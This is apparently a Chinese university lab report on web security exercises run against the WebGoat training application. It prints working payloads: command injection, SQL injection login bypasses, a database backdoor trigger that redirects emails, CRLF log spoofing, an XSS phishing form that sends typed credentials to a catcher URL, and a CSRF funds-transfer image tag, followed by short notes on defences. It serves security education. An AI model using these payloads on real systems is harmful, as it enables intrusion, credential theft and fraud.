2019-2020-2 20175212童皓桢《网络对抗技术》

Exp9 Web安全基础

目录

  • 1. 实验目标
  • 2. 实验内容
    • 2.1 SQL注入攻击

      • 2.1.1 命令注入(Command Injection)
      • 2.1.2 数字型注入(Numeric SQL Injection)
      • 2.1.3 日志欺骗(Log Spoofing)
      • 2.1.4 字符串注入(String SQL Injection)
      • 2.1.5 SQL 注入(LAB: SQL Injection)
      • 2.1.6 数据库后门(Database Backdoors)
    • 2.2 XSS攻击
      • 2.2.1 XSS 钓鱼(Phishing with XSS)
    • 2.3 CSRF攻击
  • 3、答老师问
    • 3.1 实验收获与感想
    • 3.2 SQL注入攻击原理,如何防御
    • 3.2 XSS攻击的原理,如何防御
    • 3.2 CSRF攻击原理,如何防御
  • 4、遇到的问题及其解决方法
  • 5、参考资料

1. 实验目标

理解常用网络攻击技术的基本原理

2. 实验内容

  • 一切之前,我们先安装Webgoat。为了效率,可以上github下jar包再拷到本地。
  • 使用命令java -jar webgoat-container-7.0.1-war-exec.jar,开启webgoat服务。
  • 打开浏览器,输入地址http://localhost:8080/WebGoat/,根据其提供的默认账户进行登录
2.1 SQL注入攻击
2.1.1 命令注入(Command Injection)

Command Injection,即命令注入,是对任何参数驱动的站点的严重威胁,且容易扩散,造成更坏的影响。

  • 邮件选择Inspect Element,对源代码进行修改
  • BackDoors.help后加上"& netstat -an & ipconfig"
  • 点击view,输出了与本地计算机连接的所有ip信息
2.1.2 数字型注入(Numeric SQL Injection)

Numeric SQL Injection,即数字型注入,在SELECT * FROM weather_data WHERE station = [station]中station 字段中注入特征字符,能组合成新的SQL 语句。

  • 右键选择Inspect Element进入调试界面,对源代码进行修改
  • 在选项列表中,在101后面加上or 1=1
  • 显示所有城市的天气状况
2.1.3 日志欺骗(Log Spoofing)

Log Spoofing,即日志欺骗,攻击者可以利用这种方式清除他们在日志中的痕迹。

  • 在文本框中输入用户名20175212thz%0d%0aLogin Succeeded for username: admin,其中%0d是空格,%0a是换行
2.1.4 字符串注入(String SQL Injection)

String SQL Injection,即字符串注入,基于某个特殊查询语句构造SQL注入字符串。

  • 在last name中输入’ OR ‘1’=‘1,由于’1’='1’是永真式,所有的用户信息将会被输出
2.1.5 SQL 注入(LAB: SQL Injection)

LAB:SQL Injection,即实验室SQL注入,分为以下几个Stage
Stage1:String SQL Injection,即字符串注入

  • 在密码框中输入’ or 1=1 --,可以在不知道密码的情况下登录账户Neville

2.1.6 数据库后门(Database Backdoors)

Database Backdoors,即数据库后门

  • 在输入框中输入101; update employee set salary=5212可以更新员工工资,没有经过任何验证就可以简单更改数据表
  • 在输入框输入101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=20175212thz@hackme.com' WHERE userid = NEW.userid,意思是创建一个后门触发器,当有人往数据表里插入一行数据时,就会自动触发该后门,接着将新插入一行的email设置为20175212thz@hackme.com,攻击者就可以通过邮箱接收到消息了
2.2 XSS攻击
2.2.1 XSS 钓鱼(Phishing with XSS)

Phishing with XSS,即网络钓鱼,在XSS的帮助下,可以制作钓鱼工具或向某些官方页面中增加内容,很难发现该内容是否存在威胁。

  • 在搜索框输入如下代码,页面增加一个表单
</form><script>function hack(){ XSSImage=new Image;
XSSImage.src="http://localhost/WebGoat/catcher?
PROPERTY=yes&user="+ document.phish.user.value +
"&password=" + document.phish.pass.value + ""; alert("Had this
been a real attack... Your credentials were just stolen. User Name =
" + document.phish.user.value + "Password = " +
document.phish.pass.value);} </script><form
name="phish"><br><br><HR><H3>This feature requires account
login:</H3 ><br><br>Enter Username:<br><input type="text"
name="user"><br>Enter Password:<br><input type="password"
name = "pass"><br><input type="submit" name="login"
value="login" onclick="hack()"></form><br><br><HR>
  • 进行登录操作,提交之后可以看到返回了输入的用户名和密码
2.3 CSRF攻击

跨站请求伪造,目标是向新闻组发送电子邮件,该电子邮件包含一个图像,其URL指向恶意请求,通过身份认证的CSRF电子邮件的接收者将转移资金。

  • 在title框中输入任意标题,在Message框中输入<img src="attack?Screen=322&menu=900&transferFunds=100000"/>,当满足Screen值为322,menu值为900时,产生攻击链接,一旦点击该链接就会触发转移100000的资金。

3、答老师问

3.1 实验收获与感想

经过这学期的九次实验,我对网络攻防中的一些基础攻防操作有了一定程度的了解,虽然实验环境都是模拟最原始,最没有防护的条件,但仍然收获颇丰。我知道了在复杂的网络环境中应该怎样从技术和习惯的角度更好的保护自己的信息不被侵犯,以及如何解决这类问题。

3.2 SQL注入攻击原理,如何防御

答:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
防范:

  • 对可能的漏洞注入点代码进行检查处理,筛选特殊字符,提高代码的规范性和安全性
  • 用户和管理员的权限做到严格区分,是普通用户只能得到最低权限
  • 不要将敏感信息或文件明文存储
3.3 XSS攻击的原理,如何防御

答:XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。
防范:

  • 只允许http/https请求读取cookie,防止敌手通过JS获取
  • 通过转义安全字符等手段,不信任用户输入的数据,并在表单提交时进行特殊字符的检测
3.4 CSRF攻击原理,如何防御

答:是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。
防范:

  • 添加伪随机验证码,让用户进行填写
  • 定期清理cookie

4、遇到的问题及其解决方法

  • 4.1 问题一: 启动webgoat后,网页左侧没有可选的课程信息

    • 解决方法:更新jdk版本至jdk1.8。具体可参考同学的博客
  • 4.2 问题二:sql注入攻击的实验室注入攻击部分,显示登录失败
  • 解决方法:将源代码规定的密码框长度8改为100,即可全部读取。

5、参考资料

https://www.cnblogs.com/SANFENs/p/12911903.html

2019-2020-2 20175212童皓桢《网络对抗技术》 Exp9 Web安全基础相关推荐

  1. 20164305 徐广皓《网络对抗》Exp9 Web安全基础实践

      1.WebGoat实践 (1)wegoat安装 下载 webgoat-container-7.0.1-war-exec.jar ,开启WebGoat,在终端中输入命令 java -jar webg ...

  2. 20155202《网络对抗》Exp9 web安全基础实践

    20155202<网络对抗>Exp9 web安全基础实践 实验前回答问题 (1)SQL注入攻击原理,如何防御 SQL注入产生的原因,和栈溢出.XSS等很多其他的攻击方法类似,就是未经检查或 ...

  3. 20145325张梓靖 《网络对抗技术》 Web安全基础实践

    20145325张梓靖 <网络对抗技术> Web安全基础实践 实验内容 使用webgoat进行XSS攻击.CSRF攻击.SQL注入 XSS攻击:Stored XSS Attacks.Ref ...

  4. 20145209刘一阳《网络对抗》Exp9 Web安全基础实践

    20145209刘一阳<网络对抗>Exp9 Web安全基础实践 基础问题回答 1.SQL注入攻击原理,如何防御? SQL注入攻击就是通过把SQL命令插入到Web表单递交或输入域名或页面请求 ...

  5. 20175212童皓桢 实验五 网络编程与安全

    20175212童皓桢 实验五 网络编程与安全 实验内容 结对编程,完成网络编程与安全相关内容 实验步骤 任务一 任务一要求: 结对实现中缀表达式转后缀表达式的功能 MyBC.java 结对实现从上面 ...

  6. 2019-2020-2 20175212童皓桢《网络对抗技术》Exp5 信息搜集与漏洞扫描

    2019-2020-2 20175212童皓桢<网络对抗技术> Exp5 信息搜集与漏洞扫描 目录 1. 实验目标 2. 实验内容 2.1 各种搜索技巧的应用 2.2 DNS IP注册信息 ...

  7. 20175212童皓桢 实验三敏捷开发与XP实践实验报告

    20175212童皓桢 实验三敏捷开发与XP实践实验报告 实验内容 XP基础 XP核心实践 相关工具 实验步骤 一.Code菜单功能的研究 Move Line/statement Down/Up:将某 ...

  8. 2019-2020-2 20175 212童皓桢《网络对抗技术》Exp6 MSF基础应用

    2019-2020-2 20175212童皓桢<网络对抗技术> Exp6 MSF基础应用 目录 1. 实验目标 2. 实验内容 2.1 主动攻击实践 2.2 针对浏览器的攻击 2.3 针对 ...

  9. 20175212童皓桢 Java实验二-面向对象程序设计实验报告

    20175212童皓桢 Java实验二-面向对象程序设计实验报告 实验内容 初步掌握单元测试和TDD 理解并掌握面向对象三要素:封装.继承.多态 初步掌握UML建模 熟悉S.O.L.I.D原则 了解设 ...

最新文章

  1. windows优化大师怎么用_怎么在电脑上添加一款好用的提醒便签软件?
  2. scrum项目管理_Scrum,用于初创企业(或针对该项目的任何项目)
  3. PHP数组式访问接口ArrayAccess
  4. poj 2987 Firing【最大权闭合子图+玄学计数 || BFS】
  5. 避免误删文件:Linux回收站机制
  6. 中英对照 关于计算机的科技英语,《计算机专业英语》(中英文对照).pdf
  7. 换一种方式“写代码 编程序“,为自己的程序生涯找条新路
  8. 安卓逆向系列教程 4.8 去广告 II
  9. Cobalt Strike神器使用教程
  10. Form_Load():不要甩锅给我
  11. 红绿灯检测之模板匹配呸呸呸呸
  12. [杂记]LeTeX模板——ppt
  13. php封装新增,php 封装
  14. 计算机的假桌面,给电脑桌面放个假!极品桌面抢先评测
  15. 三星PM981黑苹果补丁
  16. SEO百度快排-百度排名软件
  17. HTML第5章:CSS3美化网页元素:课后作业
  18. c语言awx文件读取,气象卫星分发产品及其格式规范AWX2.1(数据格式C语言).doc
  19. 几种基本图片格式的区别与不同(bmp,jpg,png,gif,tif)
  20. QT 设置QLabel文字竖直居中

热门文章

  1. Echarts柱状图柱子上“画线”
  2. python 日历节假日显示颜色_python判断2018/2019年的某天是否是节假日
  3. 设置jupyter notebook文件保存位置
  4. 1.机器学习的重要性
  5. python毕业设计 基于django框架企业公司网站系统毕业设计设计与实现
  6. opencv学习笔记—— opencv3 源码文件夹内容
  7. c++ 不撞南墙不回头——树形动态规划(树规)
  8. c语言中缺少函数标题,error C2332: “struct”: 缺少标记名
  9. 2021年场(厂)内专用机动车辆安全管理考试及场(厂)内专用机动车辆安全管理考试题
  10. 【科软课程-信息安全】Lab13 Packet Sniffing and Spoofing